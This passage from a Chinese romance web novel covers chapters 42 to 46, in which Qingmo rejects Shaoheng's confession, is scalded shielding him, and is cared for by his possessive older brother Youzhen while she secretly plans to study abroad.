告别晓杨,清茉来到六六新店面施工现场,少衡蹲在施工用的沙子堆旁,用手在扒拉着堆沙子,清茉从后面踢了一脚少衡,问着:“你是不是叛逆期刚到?被融恒置业炒了?” 少衡站起来拍拍手,说着:“能不能尊重一下我,我开完早会批完文件过来的,办公室好闷,无聊就来透透气呗,说实话我觉得我适合体力劳动,要不是家里不同意,我应该从小上体校。” 清茉:“那你也别来捣乱嘛,六六赶工期忙着呢。” 少衡:“合着你们都忙,就我闲得呗。约你,你说忙,来看你朋友,你说人家忙,哦,我哥也忙,又飞国外了,天天忙什么啊,有什么好忙的,赚多少钱是够。” 清茉瞧着他挺浑:“你是不是失恋了?气儿这么不顺。” 少衡一梗,瞥了眼清茉,又别开目光,挑剔着六六正在装修的吊顶,问着:“这木头吊顶颜色是不是太深了啊?” 六六当即给清茉转了六十块钱,说着:“茉,带着这位少爷去园区里转转,我请客喝饮料,去吧。” 少衡好像就等这句话,一听,顺势就要牵清茉的手,清茉躲开,少衡不满:“干嘛啊,得过马路,我领着不行?” 清茉:“要不我找出幼儿园证书,咱们瞧瞧上面落的日期距今已经多少年了?” 少衡不管,就是去牵清茉的手,说着:“得了吧,不管,就要牵着。” 六六的白眼要翻上天,把他俩推出去,说着:“给我带一杯黑咖,晚上要熬夜施工,对了,丹尼晚上过来画墙绘,一起去焦叔那里吃饭吧,少爷,您也一起吗?不一起也没关系。” 少衡:“好嘞。” 清茉用六六给的红包去点饮料,两杯拿铁,一杯38,两杯打折,六十块正好,找了个能晒到下午太阳的地方坐着,清茉问着:“又怎么了?昨儿一大早就在机场就神经兮兮的,你跟你哥还是跟你爸妈吵架了?” 少衡懒懒地靠在沙发中瞧着外面的街道,说着:“不知道,反正就是提不起劲儿,觉得没意思。茉茉,我给你开个公司好不好,你别给别人打工了,到处拍摄多辛苦,也赚不到多少钱,你当老板,我给你拉人脉。” 清茉瞧着少衡还跟孩子似的天方夜谭,就直白问了句:“那你图什么?天下没有白吃的午餐吧,施少衡,你图什么啊?你自己觉得无聊,就施舍别人一个事业?好伟大的慈善家呗。” 施少衡被问住,沉默几秒钟后,说着:“茉茉,做我女朋友吧。” 清茉一愣,并不当真,苦笑道:“发少爷脾气有个限度好不好,我全当你开玩笑了。” 少衡去拉住清茉的手,执着道:“干嘛当我开玩笑?我正经的,前天晚上在秀场外面我突然觉得,茉茉,我还是好喜欢你,我深思熟虑了两天,觉得还是想跟你交往。” 好伟大的深思熟虑,难为他足足深思熟虑了两天这么久。清茉心里叹气,问着:“为什么想跟我交往啊,少衡,你身边的美女可不少,看秀那天的女孩就很漂亮啊,她哪儿满足不了你,你又来跟我说这些话。” 少衡:“我以后不瞎玩了,我就跟你在一起。” 清茉:“打住打住,不行,不可能,绝对不可能,咱别提这茬了。” 少衡:“为什么不行?” 清茉:“你喜欢我什么啊?” 少衡:“都喜欢啊。” 清茉:“那我喜欢你什么啊?” 少衡:“你也应该喜欢啊,你想要什么,我都可以给。” 小时候因为自己也是在这种家庭中,所以察觉不出来阶层带来的傲慢,眼前少衡这理所当然的论调,让清茉觉得啼笑皆非,很幼稚,很搞笑,清茉笑着摇头道: “好了,你再这样我就笑场了,那少衡,我问你,你跟我交往,会跟我结婚吗?你哥同意吗?你爸妈同意吗?退一万步讲,你的新鲜感能维持到结婚的那时候吗?你下次可能再深思熟虑两天,就跟别人表白去了。” 少衡:“你不一样,再说,他们同意不同意关我屁事。” 清茉:“……” 清茉突然想起一件挺内疚的事情。 小时候家里有个专门做饭的保姆阿姨,带着一个小女儿住在他们别墅区外面,有天清茉放学坐车上看到保姆阿姨家的小女儿抱着一只很可爱的小猫咪玩,清茉就下车也一起玩。 正玩着,保姆家人扔地上一些残羹剩饭,小猫很习惯地凑过去吃。清茉觉得这么可爱的小猫咪应该好好对待,就问他们小猫能不能抱走她来养,可以给小猫咪买很贵的猫粮,买好看的猫爬架、各种各样宠物玩具、漂亮的宠物衣服。 保姆家人不敢说不,小女孩不舍得也只是看着家人眼色缩在大人身后,清茉就把小猫抱走了。她并不觉得自己出于恶意,她当时只是很自信,可以给可爱的小猫咪提供更好的条件。 小猫养了不到一天就跑了,清茉去保姆阿姨家找,那家人眼神躲闪,里屋是他家小女儿的哭声。清茉不开心地回家,妈妈问明白事情原委,第二天那个保姆阿姨就被辞退了,当天从别墅区旁边搬走了。 她以前跟少衡是一类人。 少衡见清茉发呆,继续说着:“不用考虑了茉茉,就答应吧。做我女朋友,我肯定好好对待你。” 也就是这一瞬间,清茉突然又定了新的主意,原本想事缓则圆,不要那么冲动,怕遗漏什么重要事项,现在看,好像也没有必要再拖延,二月走跟三月走,没有什么本质的不同。 清茉抬眼看着少衡,想着那只失踪的可爱猫咪,很难过,但是笑着说道:“你这要求太突然了,我得消化一下?” 少衡点头:“那我认真追你了?” 清茉笑着摇摇头:“先等一等,先过个风平浪静的年吧。” 少衡不满,清茉打住他继续发表离谱言论,说着:“走吧,六六说焦叔那里备好餐了,咱们直接过去吃饭。” 冬天还是适合吃火锅,今天还有焦叔的两个朋友,就在露台阳台上备了两桌,店里新招来的服务生小妹妹帮着上菜端锅,清茉跟少衡过去的时候,正好小姑娘端着加热好的锅底往二楼走,楼梯狭窄,小姑娘可能还不熟,脑袋磕到了楼梯转角,手里的热锅一下子倾倒下来。 走在后面的清茉本能地将少衡用力往后一拽,她侧身用半个肩膀挡住了滚烫的汤底。 本能是怎么来的? 小时候少衡发育得晚,豆芽菜一样支楞了好久,学校里都是非富即贵的同学,显小的少衡没少被欺负。清茉经常把他挡在身后,替少衡出头,后来懂事一些,发现少衡在施家没那么受待见,处处被施家大哥压一头,是经常被家人忽略的那个。 清茉有一次觉得施友臻高年级的科技展游学很好玩,就央求着施友臻带着一起去,那天回来,发现少衡站在别墅区入口的大门处等她,门卫叔叔说少衡从早晨就在那边转悠等着,午饭也没回家吃。 那天夕阳把少衡小小个子的影子拉得很长,他朝着清茉跑来的时候,笑得像重新得到了全世界。 那次后清茉就几乎没有再单独跟施友臻一起出去过,她很细心,照顾少衡的感觉,就那么照顾了很多年,看起来骄纵的小女孩是她,实际上她处处维护着少衡。 她长大了,但是少衡好像没有。 荒诞又有些悲伤的交谈之后,本能还是想去护着少衡,把他挡在身后。 服务员小妹尖叫,少衡愣住,清茉也愣住了。 焦叔闻声而至,赶紧拉着清茉去厨房,把她半个肩膀和胳膊压在水龙头底下用凉水冲,喊着:“快去开车,快点啊!” 很疼。 清茉咬着嘴唇盯着少衡,吧嗒吧嗒掉眼泪,一边疼得哭,一边颤巍巍说着: “你就当报恩吧,别再说混账话了,你那些轻浮的混账话,我听了恶心。” 第43章 第四十三章 施友臻周五晚上从国外出差…… 施友臻周五晚上从国外出差返回, 落地后在车上拨打林清茉电话,明天一早出发飞去南方海岛的航班信息已经发给了清茉,但是她一直没有回复信息, 这会打电话也不接。 施友臻好像也就是在清茉这里,才会频繁地被随意对待。他计划从机场直接去清茉小区,接上人, 晚上住在狮麟别苑,明天早晨一起出发。偶尔适度放松有助于身心健康, 往年他会在年前自己去个清静地方待两天, 今年却想让清茉在身边陪着。 虽然她没那么乖巧顺从, 甚至坚持用一个不光彩的谎言身份欺骗至今, 但是施友臻觉得有趣, 不空洞,看不见的时候想看到,看到了想拢在掌心里亲吻。 快到小区的时候, 电话仍旧没有接通, 到楼下看到清茉的屋子黑洞洞没有灯光,上去敲门也无人应答。 站在清茉家门口再次拨打电话的时候, 接通了。 接起电话的人, 是少衡。 施友臻倒也没有特别意外, 问着:“跟清茉在一起?让她听电话。” 少衡讲话不像平日那么张扬活跃,难得沉着声音说道:“她现在不方便, 在医院处理伤口。” 施友臻接听着电话往楼下走:“怎么受伤了?” 少衡:“烫伤, 面积不小,从肩膀到胳膊。”少衡一顿,继续说着:“她替我挡的。” 少衡叹口气,他的哥哥是万能的, 无所畏惧的,所以这会少衡很忐忑不安地问着施友臻:“哥,医生说损伤的皮肤会留疤痕,茉茉是模特,肯定会受影响吧,哥,我心里挺难受,我肯定会对茉茉负责。” 施友臻没顺着少衡发表什么意见,问:“哪个医院。” 少衡报了地址,施友臻挂掉电话,开车直接赶了过去。 施友臻赶到的时候,清茉已经在处置室处理好了伤口,焦叔在跟护士请教护理细节,六六陪清茉坐在处置室门口,她也吓坏了,一直紧紧攥着清茉的手。 少衡攥着一把缴费单子有点无措地看着清茉,就站在清茉身旁。 清茉脸色惨白地坐在那里,烫伤膏的止疼效果好像还没有发挥,她盯着眼前的地面发呆,很疼,想哭,想大声喊出来,不过也就是想想,她咬着下唇沉默地低头坐着,身边的朋友们已经很惊慌,她不想再让大家负担,完全就是意外。 眼前出现了款式熟悉的皮鞋和挺括笔直的西裤,清茉不用抬头就知道是谁,她松开六六的手,去拉住施友臻的西装衣角,一直强忍着疼还要安慰朋友们的清茉,现在好像突然可以呼吸,她松懈了一下,昂着脸看向施友臻,眼睛瞬间蓄满眼泪,亮晶晶地一滴一滴砸下来,很小声地喊了句:“哥。” 原来不是对疼痛有钝感,是还没有疼到那个地步。 少衡看到哥哥过来,好像也松了口气。在施友臻面前,他俩的灵魂是不是还停留在孩提,就像小时候遇到阴阳怪气的大人逮着小孩子说教,他俩都会站到施友臻身后,他们的哥哥早慧、聪明、沉稳,可以独当一面地成为他俩的家长,会严肃地纠正那些不当的言辞,会伸出看不到的羽翼庇护住他俩。 就像那刻被点燃的圣诞树,哪怕他还是半大孩子,但是会冷静地冲出来灭掉大火。 施友臻看了下清茉包扎的地方,用手指刮了刮她脸颊上的泪痕,然后去找了主治医生,进去交流了一会,施友臻重新走出来,对六六和焦叔说着:“添麻烦了,后续转到我那里的医院换药,先回去休息吧。” 又对少衡说着:“去送一下清茉的朋友。” 少衡看了眼清茉,不大想离开,六六也客气说着不用,但是施友臻看了眼少衡,少衡就赶紧去送六六跟焦叔,焦叔很内疚,出去的路上很抱歉地说着:“都怪我定的晚上吃火锅。” 少衡说着:“那也怪我反应慢,让她挡这下。” 六六不放心地回头看,想了想,还是折返回去,没看施友臻,只是问着清茉:“茉茉,晚上要不要去我家,或者我去你家,怕你不方便,我陪陪你好不好?反正我时间自由。” 清茉抬头,看向施友臻,施友臻没讲话,但是伸手抚摸着清茉发顶,清茉对六六说着:“没事儿,你快忙你的,不是赶工期嘛。” 六六就明白什么意思了,跟清茉拜拜,出去了。 清茉长长舒了口气,说着:“好可惜。” 施友臻:“什么?” 清茉:“明天本来要去南方海岛,我还没有去过呢,今天还从六六店里淘了几套沙滩裙。” 施友臻:“养好伤就去。” 清茉点头:“嗯。哥,可以回家了吗?我想回家了。” 施友臻扶着清茉的手臂,把她从座位上托起来,往外走的时候,正好少衡送走六六他们回来,少衡也要过去扶清茉,说着:“哥,晚上让茉茉住我那里吧,这事儿我从头负责到尾。” 施友臻说着:“明天再说,你也先回家。” 少衡一愣,不理解追问着:“茉茉这样我怎么回家啊?我负责到底的。”他突然就横在清茉面前,挡住去路,眼睛也泛红,说着:“茉茉,今天对不起,还有之前说的那些话,我没想到你那么……反正对不起。” 清茉不知道为什么药膏还不起作用,疼痛感丝毫没有减轻,她之前问医生布洛芬之类的止疼药行不行,医生说不是治疗一种疼痛的,不管用。烫伤的皮肉针扎似的疼,她并没有耐心听少衡在这里忏悔和反省,但是清茉还是想维持□□面,说着: “今天就这样吧,少衡,我想回家了,你听话,也回去,我们冷静一下改天再说。” 少衡迟疑,施友臻对他弟弟则没有半句废话,把他拨一边,领着清茉往外走。 清茉上了施友臻的车,施友臻看了眼安全带,在副驾驶车门外调整好安全带的角度,确保不会蹭到清茉的伤口,这才出发。车子启动的时候,清茉松口气,说着:“哥,待会我回自己家,你也忙你的去吧,明天六六接我换药。” 施友臻并没有答应,直接把车开到了狮麟别苑。 清茉疼得整个人都是浮躁没有耐心的状态,也懒得争辩,进门倒在床上,关上灯沉默着跟灼烧感的疼痛缠斗。施友臻端着水过来,摸摸清茉额头发现一层细密冷汗,问她要不要吃点东西,清茉闭着眼睛摇头,说着:“哥,我想睡了。” 施友臻已经联系家庭医生送来疗效更好的烫伤止痛药膏,准备去给清茉热一点好消化的餐饮,他去厨房热菜,又去车里拿了在国外给清茉带的礼物,想哄她心情轻松一些,返回房间的时间,听到了明显的水流声。 施友臻去清茉休息的房间查看,浴室中亮着灯,施友臻推门,看到清茉穿着衣服站在花洒下面,扶着墙面,一半身子淋着凉水,施友臻快步过去要把清茉拉出来,清茉甩开施友臻的手,哭道:“太疼了,冲凉水可以减轻一点,你别管!” 她整个人都站到了花洒之下,浑身湿透,打着寒颤,但是伤口被凉水冲刷之后灼痛感减轻,清茉一边发抖一边哭,也站不住,滑落在地板上。 看起来很凄凉,很悲伤。 如果是少衡,可能会走进流水中抱着清茉一起冲水一起发抖,但是施友臻冷静地关掉了花洒,说着:“受凉感冒会更难受,新的止疼药膏马上送过来。” 刚刚包扎好的创口还要重新处理,清茉听着施友臻的语气,好像是在责怪她的无理取闹,清茉推他出去,倔强地再次打开花洒,冷水继续冲着伤口,施友臻站在那里目光沉沉地看着清茉,清茉一边哭一边站在水流下发抖,呛了水还猛咳嗽起来。 施友臻放任了她几分钟,因为确实冷水是可以减轻疼痛,不过也就是几分钟罢了,他不可能是抛弃理智任由清茉胡来,妥协是不可能妥协的,施友臻走进水中,抱住清茉的腰,避开受伤的部分,把她直接抱出来了。 轻放在床上,弄湿了一床被褥,施友臻问着:“我给你脱,还是自己脱?医生还有十分钟到。” 清茉还在发抖,施友臻直接上手要解开清茉的衣扣,清茉握住他的手,哆哆嗦嗦说着:“我……” 施友臻去拿来干燥的浴巾,内衣,还有一套内搭是吊带裙的家居服,放到床边,说着:“换好去我的房间待着。” 清茉又气又恼,问着:“你变态吗?为什么有内衣?” 施友臻故意多讲些话转移清茉注意力:“还有精力管这个?一直在抽屉里没发现吗?购置的时候就是全套,待会去看看,很多款式。” 清茉:“……” 门铃响起,施友臻去接医生进门,清茉费劲地把衣服换好,施友臻进门也不敲门,清茉穿着吊带裙跟他面面相觑,施友臻很淡定地拾起外衣给清茉披了一半肩膀,带她去隔壁房间。 医生重新换药的时候,施友臻用吹风机把清茉头发仔细吹干,医生瞧着伤口,嘱咐道:“还好,不出门的话可以先晾一晾,估计会继续起水泡,明天早晨我过来再处理一下,晚上睡觉注意衣物别摩擦伤害,这个药膏止痛效果好,很有效。” 清茉重新躺下之后,施友臻去冲澡洗漱,换了家居衣服后躺到了清茉身旁,伸手把清茉捞过来,扣在自己怀中,让她受伤的肩膀手臂露出,暖烘烘地紧贴着清茉,其实也是控制着她动作,免得睡熟之后随意翻动,蹭到伤口。 不知道是药膏真的止疼效果好,还是清茉折腾得太困,她被施友臻热烘烘的胸膛惊扰,蹬腿抗议,嘟囔着:“哥,你去别的房间睡。” 施友臻不理会,说着:“你以为去海边度假,我们会睡两张床?” 第44章 第四十四章 施友臻很少将就别人,他不…… 施友臻很少将就别人, 他不需要。 但是这个夜晚他几乎没有踏实合眼,一直圈着清茉,几乎是没有挪动位置, 照看着她肩膀和手臂的伤口。 入睡前故意讲暧昧的话吓唬她,当然,也不全然是吓唬, 毕竟要是去海岛度假,可能就水到渠成睡一起了, 毕竟清茉不像会真的拒绝, 她太青涩了, 一亲就软, 太容易被引导, 施友臻都觉得自己是太坏了。 圈在怀里看她鹌鹑似的一动不敢动,倒也不去真的做什么过线火举动,只是充当一个固定清茉睡姿的人形靠垫, 保证她睡着的姿势不变, 不会因为翻身压到伤口。 当然,因为她一动不动的样子实在可爱, 施友臻还是低头亲吻了清茉的后颈, 见她僵硬更甚, 施友臻故意把人往怀里捞得更贴近,哄着隔着被子拍了拍, 说着:“好了, 就当是小时候哥哄你睡。” 哄过吗?清茉认真地想,好像很小的时候哄过,为什么要施友臻来哄?清茉实在想不起来了,因为午睡淘气吗? 这句话发挥了巨大的安抚效果, 施友臻明显感觉到怀中人的身子松懈下来,软塌塌热乎乎地稳稳靠在他身上,没一会就呼吸平稳地安然睡着了,就算这样,也弓着身子,蜷着膝盖,像个缺乏安全感的小孩。 施友臻一直维持着圈抱的姿势到清晨,臂弯中是清茉细细软软的腰身,止痛的药膏应该作用不错,疲惫的清茉睡得很沉。 很久以后,施友臻跟林清茉清算,面对面秋后算总账的时候,林清茉一条一条振振有词地数落,施友臻就想起了这个夜晚,很无语,反问清茉:“你觉得我凭什么,一动不动让你靠一晚上?” 清晨,施友臻在清茉后背塞上几个枕头,下床在客厅活动活动身体,维持一个姿势一晚上有些僵硬,做了几个拉伸后去厨房,研究了下厨房电器,按照医生的建议给煮上了清淡米粥。 也想了下要不要让安姨过来帮忙做饭,不过想起之前去安姨家清茉抵触的样子,施友臻打消了这个念头。清茉有时候不好猜,有时候又很好猜,在他面前偶尔流露出的真实性情,带着当初小女孩的性子。 但是很明显,她同时也变得含蓄,畏缩,躲闪,不再敢于大大方方索要和心安理得享有了,会察言观色讨好,也会刻意编造谎言隐瞒。 施友臻没吃透清茉到底为什么编造那种谎言,或者说,都到这种地步,清茉为什么不在意谎言产生的负面影响,她不在乎在施友臻心里是什么形象吗?或者,想当成一种测验?“如果连风尘的你都可以接受,那么说明你是真的在乎”? 施友臻不知道该评价她涉世未深,还是天真烂漫,男人走肾比走心容易太多,真的图那点快感的时候,无所谓是什么身份。 施友臻不准备主动戳破,很有趣不是吗?看看她到底盘算什么。 早晨医生过来的时候,施友臻终于研究明白该怎么煮粥,去卧室喊清茉起床。 医生看起来很年轻,姓裴,裴医生昨天夜里来得匆忙,在医院包扎好的伤口被水流冲得乱七八糟不堪入目,雇主施友臻跟受伤女士之间的氛围也奇奇怪怪,裴医生夜里就没有多说也没多问,不过他认出了女孩应该是以前林家的那个小女儿。 早晨看气氛还不错,裴医生就多聊了几句,上药的时候说着:“还好是清汤锅,还没二次加热到沸点。比施总小时候那次好多了。” 清茉也觉得裴医生眼熟,一愣,问着:“哪次?” 裴医生见清茉真的很困惑的样子,解释道:“不记得了?您跟小施总点了圣诞树的那次。” 清茉真的不记得施友臻受过伤,她只记得自己被施友臻打了手,被火势吓得嚎啕大哭。 裴医生看施总没有开口接话的意思,也没有给清茉继续解惑。他那时候刚入职,跟着他的老师为施家提供特需服务,第一次去就是圣诞树着火事件,施友臻被圣诞树上燃烧过的树枝砸到了后背。 他在帮老师处理施友臻伤口的时候,听到院子里乱糟糟的,有个女孩大哭的声音特别亮耳朵,就朝窗外看了一眼。 记得很明显,施友臻也往窗外看,沉着小脸皱着眉头,很嫌弃,也很生气的样子。 两个半大孩子吓坏了似的在院子里抹眼泪,裴医生跟老师处理完离开的时候,那俩小孩拉着小手站在院子里,小男孩哄着小女孩,两颗脑袋凑在一起,嘀嘀咕咕说着什么。 没有祛疤处理的话,施友臻后背上的烫伤,应该还留着痕迹。 裴医生后来跟着老师又去了几次,就知道了跟施家兄弟俩玩在一起的是隔壁林家的小女儿,长得很漂亮像洋娃娃,活泼淘气,见到人很有礼貌。 老师退休后,裴医生独立负责施家家庭医疗服务,再往后听到周边人说起林家遭遇,就没有再见过林家人了。 昨天夜里见到,意外又不意外。 大概跟学习一样,少时的亲昵,也是石头上刻的。昨天夜里,林家小女儿拉着小脸坐在施友臻床上,对施总的态度实在说不上好,旁人亲近不得的施友臻,在万分耐心万分细致地给她吹着湿漉漉的长发,还一脸阴沉地盯着医生给烫伤伤口上药。 裴医生首先意外的是,施友臻的房子中,竟然有了女性存在。 裴医生其次意外的是,林家女孩不是在小竹马施少衡的床上,而是在施友臻的床上。 裴医生豪门秘密见的太多了,这种程度算是小儿科,他淡定地给换好药,麻利退场。 送走医生,清茉凑到施友臻面前,不死心追问着:“哥,你哪儿受伤了?我只记得你拎着俩灭火器冲出来,跟战士似的,给我看看,哪儿啊?你怎么不吭声,当时因为受伤了才打我吗?” 施友臻看到她的眼睛又亮晶晶地流露出孩提时代的那股淘气劲儿,也心神轻松了起来,由着她继续问。 清茉绕到施友臻另外一侧,昂着小脸问着:"我说你怎么那天之后好久好久不理我,敢情是受伤了,你怎么不说啊,你说了我当时肯定感恩戴德天天缠着照顾你,给我看看嘛,我现在道歉晚不晚,聊胜于无嘛,给我看看。" 新换的药看来是真的效果好,昨天还疼得耍脾气钻到冷水里哭闹,这会就亮着眼睛话里藏着绵绵的针。 施友臻想惯着就会惯着,不想惯着,就动手。 清茉被施友臻抱上一旁的台面,是很适合亲吻的高度,然后就被施友臻掐着下颌实实在在亲上了,不受伤的时候还能推一推躲一躲,这会更加像人为刀俎我为鱼肉。 他好像技术变得更好,清茉被亲得气儿被抽空,脑袋也空空,主动权是不可能掌握一点的。 等施友臻松开她,清茉喘着气儿,质问:“哥,你这是报复吗?到底伤哪儿了?我看看嘛。" 施友臻在厨房只搞了一个白米粥,章大秘送餐门铃响起,施友臻没搭理清茉这茬,过去开门。清茉跟章大秘打招呼,章大秘问候着:“怎么样?想吃什么发给我。" 清茉谢过,施友臻给她摆好早餐,跟章大秘去了书房,过了一会才出来跟清茉一起吃早餐,并对自己做的白粥很满意,不稠不稀,米香四溢,清茉吹捧道:“天才,厨神。” 施友臻安稳坐下,心情不错地想吃早餐,结果清茉突然话锋一转,说道:“哥,昨天少衡问我,能不能做他女朋友。" 施友臻品尝米粥的手一顿,抬头看了清茉一眼,没有评价,清茉又追问:“哥,你会同意吗?” 施友臻继续吃早餐,明知故障拿捏着节奏,问:“同意什么?” 清茉:“同意少衡,嗯……同意我跟少衡交往,做男女朋友。” 施友臻觉得这是小女孩的伎俩,挑动男人的神经,宣誓自己的重要性,施友臻把问题抛了回去,不给清茉试探的机会,反问她:“你想答应?” 清茉:“……” 她犹豫一下,想了想自己的人设,破釜沉舟,决定故意刺激施友臻,她实在好奇一个答复,之前下决定不主动问,但是老是被按住就亲,更不合理的吧。清茉说道: “通吃我倒是也不排斥,不是怕哥您有洁癖嘛,跟您这段时间跟偷情似的,最起码少衡还给我个女朋友的名分。” 施友臻丝毫不乱,吃透她的心理很容易,他淡定地结束了早饭,问了句:“确定都吃得下?” 清茉一愣,施友臻继续将军:“想要名分的话,主动作为,好好争取。" 他站起来,继续说着:"你确定真的能吃下,你试试?你这么说,我也很好奇,我一三五,他二四六?周日一起?" 清茉:“!别说了哥!我错了!不敢了!” 施友臻不理,继续:”怕什么,信口雌黄的时候,过不过脑子?” 清茉被他呛恼了,起手就去抓桌面的茶叶蛋,想扔施友臻,但是用了受伤的右手,疼得嘶一声皱了脸,施友臻不哄,扔了句:“记吃不记打。” 清茉好气,她越想越气,脱口而出:“那你别后悔!” 第45章 第四十五章 施友臻当时只是把清茉那句…… 施友臻当时只是把清茉那句“别后悔”当成虚张声势的戏言, 压根就没往心里去,过耳不入心,径直往衣帽间走了。 因为那时候对清茉的心理预期是, 再折腾能翻起什么浪花,齐天大圣也有翻不过去的五指山,更何况无依无靠的她, 她不见得有什么翻云覆雨的资本傍身,出格又能出到哪里去, 施友臻不觉得自己有什么需要后悔的。 他从来都是:想要, 得到。 清茉讲完这句话之后, 自己也是愣了一下, 心中思绪沉了沉, 几分荒诞地想着,后悔不后悔这种事,要是都能事前预见, 也就不必产生烦恼了。施友臻后悔不后悔她掌控不了, 也预知不了,她能把握的, 就是自己选的路, 选择的那刻就删除了后悔选项, 选择了,就是最优的。 倒也不完全是因为名分不名分的问题。 清茉想过很多, 推演过无数种过程和结果, 心思沉重之后,轻轻放下,最后的结论是: 你不必先诉爱意,我也不是必须攀附。 她的未来仍旧可以有无数的可能性, 但是如果陷入感情,尤其是像施友臻这种上位者思维很重的男人,过剩的掌控欲跟绅士地尊重自由选择权,本身就是悖论。 两人相处中,不自觉之间发生的攀附和捆绑,其实暗中标好了价码和结局,如果能长远,从恋爱到分手,或者由恋爱走向婚姻,结婚之后厌倦离婚,或者结婚之后孕育生命然后一直在一起,排列组合,就是可以预见的未来选项,阳光之下,没有新鲜事。 而她的标签可能一直都会是:施友臻的什么什么人。 被施友臻选择的幸运人,或者,被施友臻抛弃的可怜人。 还是那句话,清茉思考了很久:爱到什么程度,才需要女孩付出自己的人生。 什么程度都不要吧。 施家大哥照顾得太温柔,温柔乡太容易让人动摇,清茉胡思乱想中不自觉就跟在施友臻屁股后面,施友臻去衣帽间换衣服,清茉就站在门口,瞧着施友臻发呆。 施友臻背对着清茉脱下家居服的时候,清茉看到了施友臻后背上的伤疤。 右侧肩膀上很明显的一道痕迹,仍旧带着当初受伤时候的灼烧狰狞痕迹,清茉一怔,走过去抬手轻轻触摸,问着:“哥,这么严重?” 施友臻回身握住她乱摸的手。 清茉:“对不起。” 施友臻已经换好了衣服,一边扣扣子,一边垂眸看着时隔这么多年才诚心诚意说出“对不起”的林清茉,觉得她实在不够主动,不够担当作为,就提点道:“就口头说说?” 清茉踮起脚,在施友臻下巴上轻轻亲了一下,实在是过于纯情,施友臻被她轻柔的碰触亲得一愣,清茉亲完,又说了句:“哥,对不起。” 施友臻突然想,如果清茉没有受伤,他们在海边度假的话,是不是已经发生了亲密关系,实在是……很想让人干点什么。 清茉绕到施友臻后面,撩起衣摆,摸了摸那里,说着:“肯定很疼。” 施友臻把她拉到胸前,亲了下额头,说着:“嗯。” 清茉:“所以当时揍我那么狠。” 施友臻:“不是因为我受伤揍你,是教训你做危险的事情。” 谁能想到过了这么多年,教育课again了,清茉讨饶:“所以我现在超级乖。” 讲话间,施友臻放在旁边的电话在响,清茉看过去,上面显示着是少衡,施友臻在系袖扣,说着:“你接。” 清茉没多想,就接了起来,说着:“少衡。” 那边短暂一顿,少衡问着:“茉茉?你跟我哥在一起吗?在哪儿,我去找你。” 很难回答在哪儿,清茉说着:“不用,我出来换药,马上回家了。” 少衡:“那我去你家陪你,受伤了不方便,我说过要负责到底的。” 清茉抬眼看施友臻,施友臻仍旧在神色淡定穿着衣服,并没有接手通话的意思,清茉只能自己硬编着:“可是我今天想自己在家休息睡觉,没关系的,你别太担心,医生说基本不会留疤痕,当时是清水汤锅,没有加热到沸点,不用那么在意。” 少衡被拒绝,语气中很失望,说着:“你让哥接你换药,也不要我照顾,茉茉你怎么变得跟他亲了。” 清茉:“……”她哄道:“好了,你好好工作。” 少衡:“那你睡醒了给我电话,我给你带好吃的,就去陪你吃饭。” 清茉:“睡醒了再说,你先忙自己的事情好不好。” 她软软地哄着少衡说“好不好”的时候,施友臻终于接管了电话,对少衡说着:“裴医生换了新的药,让她先休息。” 少衡这才结束了通话,清茉松口气,施友臻问她:“把少衡派外地待一段时间?” 清茉:“哥,不至于吧,该干嘛干嘛,你别欺负他。” 施友臻要外出一趟,清茉送他到门口,施友臻说预计中午就回来,问清茉想吃什么,清茉实在没什么胃口,想了想说着:“冰激凌。” 施友臻:“好。” 原本想去看会书整理材料,手机绑定的邮箱弹出新邮件提醒,清茉坐定后去查看邮件。 新邮件有两封,一封是昨天夜里发来的,一封是刚才,清茉点开昨天的未读邮件,是她导师拜托的专业巨擘发来的推荐信,而刚才的那封,是清茉准备申请的博士生导师发来的同意函。 进展甚至比清茉想象得更快。 清茉反复阅读了很多遍,很开心顺利获得了这两份重要文件,开心过后坐在沙发中冷静,抬眼看着狮麟别苑中豪宅的各种昂贵装潢,这种财富可能是她不管再怎么深造,再怎么努力工作也无法触及的,但是又有什么意义呢? 又不是她的,就像她不是施友臻的。 天空那么辽阔,黄金笼困不住想飞的心。她还是想抛下这边的一切,在一个人际关系网空白的干净地方重新开始,不期待谁的爱,也不会为谁的离开伤心,潇洒自由地一个人生活。 不过,应该会很怀念这段短暂的重逢时光。 最美好的感情,果然是在还没有开始的时候。 第46章 第四十六章 施友臻临近中午带着冰激凌…… 施友臻临近中午带着冰激凌回来, 好多口味,清茉坐在餐桌前挑了薄荷巧克力,问着:“哥, 你吃哪个?” 施友臻平日里不碰甜品,不过今天没有拒绝,坐在清茉对面, 挑了个抹茶味道。清茉乐,说着:“好会挑, 我还想吃完薄荷吃抹茶呢。” 施友臻用甜品勺舀起一勺喂到清茉嘴边, 她张口含住, 确实是很喜欢的味道, 就说着:“哥, 我去留学的地方,手工冰激凌有很多好吃的店。” 施友臻听到“留学”这两个字,明显动作一顿, 他在心里已经帮清茉取消“留学”这个选项了, 此刻听到,怀疑清茉是在故意耍着什么心眼, 就问着:“新年有什么想要的吗?礼物, 旅行, 都可以?想出国玩吗?” 清茉若有所思,问着:“哥, 你们家过年传统 , 还是要在老宅子那边过年吧。” 施友臻以为清茉是要约他时间,回着:“嗯,除夕跟大年初一需要在老宅,其他时间都可以陪你, 可以去国外旅行,想去哪里?” 清茉琢磨了下,说着:“没想去的地方,懒得折腾,想自己在家。” 施友臻:“不是喜欢地中海沿岸吗?去玩几天?” 清茉赶紧拒绝:“我伤口都不一定能淡,穿不了漂亮裙子,不要。” 清茉吃完了她的薄荷巧克力,又拿了一份香草的冰激凌,她还以为施友臻会管教她不要吃太多,但是施家大哥今天好像心情不错,坐在那里看着清茉,没有拦着不让多吃,清茉问着:“哥,我待会想回家。” 她电脑没带,回家要忙好多事情,材料想年前都整理齐全发出去。明天还想约导师吃饭,当面感谢导师拿到师祖的推荐信,还想处理一下家里的东西,该卖卖,该扔扔,出去的话,短时间也不会回来,转卖些物品换零钱,攒一点是一点。 所以关键是怎么从施友臻这里安全撤退。清茉看着施友臻,恍惚一瞬,有种自己被眼前男人关在这里的错觉。 施友臻的抹茶冰激凌只吃了几口就停了,听到清茉说想回家,否定道:“不行。” 清茉就是故意要试一试,坚持打破沙锅问到底,说着:“为什么不行?你要限制我人身自由?” 看不出来施友臻是不是开玩笑,反正他说着:“嗯。” 清茉:“哥,我就是想回自己家,自己待着自在。” 施友臻:“习惯就好了。” 清茉:“……”她笑道:“哥,这都什么年代了,你还想演庭院深深深几许?” 施友臻:“首先,这里换药方便,其次,我想抱着你睡个午觉。” 清茉:“……”她其实已经约了六六过来接,六六已经快到了,清茉起身,把没吃完的冰激凌放到冰箱,一会带走给六六吃。 